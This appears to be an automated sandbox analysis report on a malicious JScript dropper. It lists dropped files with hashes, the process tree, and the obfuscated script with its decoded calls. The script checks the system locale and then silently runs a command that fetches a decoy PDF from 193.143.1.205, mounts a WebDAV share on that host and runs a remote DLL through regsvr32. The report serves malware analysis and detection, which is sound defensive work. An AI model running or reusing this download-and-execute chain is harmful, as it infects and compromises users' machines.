Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d9bf86fc-2c8d-4214-9618-4a2dbfcd9149.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15780), with CRLF line terminators
Entropy (8bit):	4.915381425187177
TrID:
File name:	26680121751816526037.js
File size:	19'298 bytes
MD5:	d82532081c6d12966a79effaa87cc188
SHA1:	d3b7c6f7522c02797ead40b9571ecf38c113fd16
SHA256:	329c0fe5ab81d0f800459223452c4b8cb2c08b318730b27e1efb6b7cc374220f
SHA512:	9d66b99617037c00c219b4d9db7cb6eae8077f12f637adf4a947aca1c8186556f3470a470312e758e4ba1e3a87807031f5b573239bcab7c7c412703145889b2b
SSDEEP:	384:uFw0O3pFw3WQ1J+k47+yWQpSaWQYS44z88Sh4KYJuyezz8pPTQTfQo7hEuF3wQiN:uFw0O3pFw3WQ1J+k47+yWQpSaWQYS44Z
TLSH:	338268A8E8929FBF58D0D0D12789998787E1508D882C0878D48EF049571977B39E5FFA
File Content Preview:	function sdqfi(){kvfwxys=[1031,3079,5127,4103,2055,3072];var mseimooq=this[wlxqgol+ihzmp+fzlgej+uqcoadto+nwuhyvebd+xvdloiiib+xuujr+npzmma](this[ojpbevs+gzoxsd+artazgmt+fzlgej+xddbdpso+wlxqgol+npzmma][soner+fzlgej+nwuhyvebd+ihzmp+npzmma+nwuhyvebd+txjnd+dxz

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	02:35:56
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26680121751816526037.js"
Imagebase:	0x7ff7eda40000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:35:56
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll
Imagebase:	0x7ff7ce4a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:35:56
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:35:56
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:36:00
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:36:01
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7ce4a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:36:01
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff716e70000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:36:01
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	02:36:02
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	02:36:03
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2280 --field-trial-handle=1528,i,1093734164666883056,6253685785449591838,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function sdqfi() {	sdqfi() ➔ undefined
1	kvfwxys = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var mseimooq = this[wlxqgol + ihzmp + fzlgej + uqcoadto + nwuhyvebd + xvdloiiib + xuujr + npzmma] ( this[ojpbevs + gzoxsd + artazgmt + fzlgej + xddbdpso + wlxqgol + npzmma][soner + fzlgej + nwuhyvebd + ihzmp + npzmma + nwuhyvebd + txjnd + dxzbbn + xvrxpqoih + nwuhyvebd + artazgmt + npzmma] ( ojpbevs + gzoxsd + artazgmt + fzlgej + xddbdpso + wlxqgol + npzmma + qaucz + gzoxsd + mkxxzxrn + nwuhyvebd + zdssqcc + zdssqcc ) [owkgkmxs + nwuhyvebd + zanvkv + owkgkmxs + nwuhyvebd + ihzmp + hsdwxgcwx] ( bjekfssyo + htmderbb + zxnhg + akcadcnx + ijktz + soner + jaokqwvwd + owkgkmxs + owkgkmxs + zxnhg + qqmai + inifsavq + ijktz + jaokqwvwd + gzoxsd + zxnhg + owkgkmxs + hjgcacezs + soner + nmrcepn + xuujr + npzmma + fzlgej + nmrcepn + zdssqcc + fkebqy + nhycly + ihzmp + xuujr + nwuhyvebd + zdssqcc + hjgcacezs + xvdloiiib + xuujr + npzmma + nwuhyvebd + fzlgej + xuujr + ihzmp + npzmma + xddbdpso + nmrcepn + xuujr + ihzmp + zdssqcc + hjgcacezs + mwlowclpz + nmrcepn + artazgmt + ihzmp + zdssqcc + nwuhyvebd ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( dmqrv = 0 ; dmqrv < kvfwxys[zdssqcc + nwuhyvebd + xuujr + zanvkv + npzmma + mkxxzxrn] ; ++ dmqrv )
4	{
5	if ( mseimooq == kvfwxys[dmqrv] )
6	{
7	mseimooq = true;
8	break ;
9	}
10	}
11	if ( mseimooq !== true )
12	this[ojpbevs + gzoxsd + artazgmt + fzlgej + xddbdpso + wlxqgol + npzmma][rwwaguy + qzgyfdtj + xddbdpso + npzmma] ( );
13	this[ojpbevs + gzoxsd + artazgmt + fzlgej + xddbdpso + wlxqgol + npzmma][soner + fzlgej + nwuhyvebd + ihzmp + npzmma + nwuhyvebd + txjnd + dxzbbn + xvrxpqoih + nwuhyvebd + artazgmt + npzmma] ( ojpbevs + gzoxsd + artazgmt + fzlgej + xddbdpso + wlxqgol + npzmma + qaucz + gzoxsd + mkxxzxrn + nwuhyvebd + zdssqcc + zdssqcc ) [fzlgej + qzgyfdtj + xuujr] ( artazgmt + skczin + hsdwxgcwx + fkebqy + jtrgyay + artazgmt + fkebqy + wlxqgol + nmrcepn + nboldprnb + nwuhyvebd + fzlgej + uqcoadto + mkxxzxrn + nwuhyvebd + zdssqcc + zdssqcc + qaucz + nwuhyvebd + zxvfqwqdu + nwuhyvebd + fkebqy + cvdqgisl + soner + nmrcepn + skczin + skczin + ihzmp + xuujr + hsdwxgcwx + fkebqy + wgumgrmwj + xvdloiiib + xuujr + wzvopbfnx + nmrcepn + usgqzn + nwuhyvebd + cvdqgisl + ojpbevs + nwuhyvebd + dxzbbn + owkgkmxs + nwuhyvebd + bveplov + qzgyfdtj + nwuhyvebd + uqcoadto + npzmma + fkebqy + cvdqgisl + txjnd + qzgyfdtj + npzmma + ljzjqxpb + xddbdpso + zdssqcc + nwuhyvebd + fkebqy + hcpbun + npzmma + nwuhyvebd + skczin + wlxqgol + hcpbun + hjgcacezs + xddbdpso + xuujr + wzvopbfnx + nmrcepn + xddbdpso + artazgmt + nwuhyvebd + qaucz + wlxqgol + hsdwxgcwx + saksnxdw + fkebqy + mkxxzxrn + npzmma + npzmma + wlxqgol + dvozlqlce + jtrgyay + jtrgyay + aqhihd + ggxdbjax + mujqguxjw + qaucz + aqhihd + mvxqi + mujqguxjw + qaucz + aqhihd + qaucz + dozkg + maksszu + norajhts + jtrgyay + xddbdpso + xuujr + wzvopbfnx + nmrcepn + xddbdpso + artazgmt + nwuhyvebd + qaucz + wlxqgol + mkxxzxrn + wlxqgol + wgumgrmwj + blqexo + blqexo + uqcoadto + npzmma + ihzmp + fzlgej + npzmma + fkebqy + hcpbun + npzmma + nwuhyvebd + skczin + wlxqgol + hcpbun + hjgcacezs + xddbdpso + xuujr + wzvopbfnx + nmrcepn + xddbdpso + artazgmt + nwuhyvebd + qaucz + wlxqgol + hsdwxgcwx + saksnxdw + blqexo + blqexo + artazgmt + skczin + hsdwxgcwx + fkebqy + jtrgyay + artazgmt + fkebqy + xuujr + nwuhyvebd + npzmma + fkebqy + qzgyfdtj + uqcoadto + nwuhyvebd + fkebqy + hjgcacezs + hjgcacezs + aqhihd + ggxdbjax + mujqguxjw + qaucz + aqhihd + mvxqi + mujqguxjw + qaucz + aqhihd + qaucz + dozkg + maksszu + norajhts + zvwqpvgbi + rqbdtctt + rqbdtctt + rqbdtctt + rqbdtctt + hjgcacezs + hsdwxgcwx + ihzmp + wzvopbfnx + nboldprnb + nboldprnb + nboldprnb + fzlgej + nmrcepn + nmrcepn + npzmma + hjgcacezs + blqexo + blqexo + artazgmt + skczin + hsdwxgcwx + fkebqy + jtrgyay + artazgmt + fkebqy + fzlgej + nwuhyvebd + zanvkv + uqcoadto + wzvopbfnx + fzlgej + mujqguxjw + dozkg + fkebqy + jtrgyay + uqcoadto + fkebqy + hjgcacezs + hjgcacezs + aqhihd + ggxdbjax + mujqguxjw + qaucz + aqhihd + mvxqi + mujqguxjw + qaucz + aqhihd + qaucz + dozkg + maksszu + norajhts + zvwqpvgbi + rqbdtctt + rqbdtctt + rqbdtctt + rqbdtctt + hjgcacezs + hsdwxgcwx + ihzmp + wzvopbfnx + nboldprnb + nboldprnb + nboldprnb + fzlgej + nmrcepn + nmrcepn + npzmma + hjgcacezs + dozkg + dozkg + mujqguxjw + pobwhefw + ggxdbjax + mvxqi + mvxqi + mvxqi + mujqguxjw + mujqguxjw + dozkg + pobwhefw + aqhihd + ggxdbjax + qaucz + hsdwxgcwx + zdssqcc + zdssqcc, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll",0,false) ➔ 0
14	}
15	jaokqwvwd = "K";
16	jaokqwvwd = "n";
17	jaokqwvwd = "k";
18	jaokqwvwd = "a";
19	jaokqwvwd = "d";
20	jaokqwvwd = "V";
21	jaokqwvwd = "c";
22	jaokqwvwd = "l";
23	jaokqwvwd = "O";
24	jaokqwvwd = "a";
25	jaokqwvwd = "j";
26	jaokqwvwd = "d";
27	jaokqwvwd = "l";
28	jaokqwvwd = "L";
29	jaokqwvwd = "C";
30	jaokqwvwd = "k";
31	jaokqwvwd = "b";
32	jaokqwvwd = "l";
33	jaokqwvwd = "E";
34	jaokqwvwd = "j";
35	jaokqwvwd = "P";
36	jaokqwvwd = "H";
37	jaokqwvwd = "l";
38	jaokqwvwd = "y";
39	jaokqwvwd = "w";
40	jaokqwvwd = "N";
41	jaokqwvwd = "x";
42	jaokqwvwd = "n";
43	jaokqwvwd = "A";
44	jaokqwvwd = "U";
45	bveplov = "W";
46	bveplov = "B";
47	bveplov = "B";
48	bveplov = "g";
49	bveplov = "U";
50	bveplov = "q";
51	hsdwxgcwx = "G";
52	hsdwxgcwx = "G";
53	hsdwxgcwx = "G";
54	hsdwxgcwx = "G";
55	hsdwxgcwx = "s";
56	hsdwxgcwx = "v";
57	hsdwxgcwx = "h";
58	hsdwxgcwx = "n";
59	hsdwxgcwx = "A";
60	hsdwxgcwx = "m";
61	hsdwxgcwx = "S";
62	hsdwxgcwx = "H";
63	hsdwxgcwx = "B";
64	hsdwxgcwx = "I";
65	hsdwxgcwx = "L";
66	hsdwxgcwx = "p";
67	hsdwxgcwx = "L";
68	hsdwxgcwx = "u";
69	hsdwxgcwx = "K";
70	hsdwxgcwx = "P";
71	hsdwxgcwx = "K";
72	hsdwxgcwx = "x";
73	hsdwxgcwx = "s";
74	hsdwxgcwx = "H";
75	hsdwxgcwx = "A";
76	hsdwxgcwx = "e";
77	hsdwxgcwx = "Z";
78	hsdwxgcwx = "J";
79	hsdwxgcwx = "L";
80	hsdwxgcwx = "O";
81	hsdwxgcwx = "H";
82	hsdwxgcwx = "E";
83	hsdwxgcwx = "K";
84	hsdwxgcwx = "p";
85	hsdwxgcwx = "V";
86	hsdwxgcwx = "x";
87	hsdwxgcwx = "Z";
88	hsdwxgcwx = "n";
89	hsdwxgcwx = "n";
90	hsdwxgcwx = "d";
91	fzlgej = "X";
92	fzlgej = "r";
93	owkgkmxs = "Y";
94	owkgkmxs = "L";
95	owkgkmxs = "o";
96	owkgkmxs = "e";
97	owkgkmxs = "f";
98	owkgkmxs = "R";
99	owkgkmxs = "O";
100	owkgkmxs = "w";
101	owkgkmxs = "n";
102	owkgkmxs = "C";
103	owkgkmxs = "D";
104	owkgkmxs = "a";
105	owkgkmxs = "f";
106	owkgkmxs = "j";
107	owkgkmxs = "C";
108	owkgkmxs = "E";
109	owkgkmxs = "Z";
110	owkgkmxs = "Q";
111	owkgkmxs = "E";
112	owkgkmxs = "e";
113	owkgkmxs = "F";
114	owkgkmxs = "p";
115	owkgkmxs = "m";
116	owkgkmxs = "I";
117	owkgkmxs = "p";
118	owkgkmxs = "F";
119	owkgkmxs = "k";
120	owkgkmxs = "K";
121	owkgkmxs = "a";
122	owkgkmxs = "a";
123	owkgkmxs = "F";
124	owkgkmxs = "Y";
125	owkgkmxs = "R";
126	zxvfqwqdu = "Y";
127	zxvfqwqdu = "N";
128	zxvfqwqdu = "y";
129	zxvfqwqdu = "k";
130	zxvfqwqdu = "B";
131	zxvfqwqdu = "q";
132	zxvfqwqdu = "m";
133	zxvfqwqdu = "W";
134	zxvfqwqdu = "o";
135	zxvfqwqdu = "y";
136	zxvfqwqdu = "i";
137	zxvfqwqdu = "f";
138	zxvfqwqdu = "f";
139	zxvfqwqdu = "f";
140	zxvfqwqdu = "x";
141	qqmai = "A";
142	qqmai = "v";
143	qqmai = "A";
144	qqmai = "F";
145	qqmai = "K";
146	qqmai = "N";
147	qqmai = "F";
148	qqmai = "o";
149	qqmai = "J";
150	qqmai = "E";
151	qqmai = "C";
152	qqmai = "h";
153	qqmai = "l";
154	qqmai = "B";
155	qqmai = "o";
156	qqmai = "X";
157	qqmai = "F";
158	qqmai = "q";
159	qqmai = "m";
160	qqmai = "n";
161	qqmai = "l";
162	qqmai = "q";
163	qqmai = "x";
164	qqmai = "q";
165	qqmai = "y";
166	qqmai = "M";
167	qqmai = "q";
168	qqmai = "G";
169	qqmai = "C";
170	qqmai = "q";
171	qqmai = "i";
172	qqmai = "N";
173	akcadcnx = "J";
174	akcadcnx = "A";
175	akcadcnx = "x";
176	akcadcnx = "P";
177	akcadcnx = "M";
178	akcadcnx = "o";
179	akcadcnx = "D";
180	akcadcnx = "J";
181	akcadcnx = "V";
182	akcadcnx = "V";
183	akcadcnx = "G";
184	akcadcnx = "d";
185	akcadcnx = "B";
186	akcadcnx = "N";
187	akcadcnx = "u";
188	akcadcnx = "Y";
189	xvdloiiib = "R";
190	xvdloiiib = "s";
191	xvdloiiib = "C";
192	xvdloiiib = "E";
193	xvdloiiib = "J";
194	xvdloiiib = "V";
195	xvdloiiib = "N";
196	xvdloiiib = "X";
197	xvdloiiib = "W";
198	xvdloiiib = "f";
199	xvdloiiib = "d";
200	xvdloiiib = "k";
201	xvdloiiib = "I";
202	xvdloiiib = "v";
203	xvdloiiib = "l";
204	xvdloiiib = "X";
205	xvdloiiib = "I";
206	nboldprnb = "A";
207	nboldprnb = "e";
208	nboldprnb = "Z";
209	nboldprnb = "F";
210	nboldprnb = "E";
211	nboldprnb = "h";
212	nboldprnb = "x";
213	nboldprnb = "i";
214	nboldprnb = "R";
215	nboldprnb = "K";
216	nboldprnb = "Q";
217	nboldprnb = "N";
218	nboldprnb = "x";
219	nboldprnb = "p";
220	nboldprnb = "I";
221	nboldprnb = "R";
